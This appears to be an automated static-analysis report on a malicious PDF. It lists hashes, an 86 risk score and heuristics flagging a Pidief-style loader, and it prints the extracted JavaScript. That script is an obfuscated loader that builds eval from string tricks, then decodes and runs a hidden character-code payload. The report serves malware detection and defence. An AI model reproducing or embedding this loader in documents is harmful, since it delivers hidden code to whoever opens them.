Malicious PDF — malware analysis report

Static analysis result for SHA-256 a15cbe44335909e2…

MALICIOUS

PDF

44.4 KB First seen: 2026-05-09
MD5: 9b87df6f9f9a24158bad016f605e34d7 SHA-1: 129437226fc90432946a010e6bb65e0df291c283 SHA-256: a15cbe44335909e2abc760b2fb9f87b9b52f7fb0c6278e92ab337c7325b49331
86 Risk Score

Malware Insights

The PDF contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier also strongly flagged this PDF as malicious. The embedded JavaScript is likely intended to execute malicious code upon opening the document, although the specific payload could not be determined from the provided evidence. No document body text was available for further context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAEF5 443 bytes
SHA-256: a174f3a175657df8ceb24c577297e57b5d4bf3983d7bf8b8a2007a97d0e8dc9f
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
xcur='';
athgf=('qwrwqr','tit');
e('jwt=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
uwql=e('String.fr'+jwt.substr(0,10));
tassr = e(jwt.substr(10)['replace'](/u/g,','));
e('k=tassr.length');
for (i = 0; i < k; i+=2) {
	kyg = tassr[i+1] + ('qweqwe',tassr[i]);
	xcur += uwql(kyg);
}
e(xcur);

Open this report in the interactive analyzer, or submit your own file for analysis.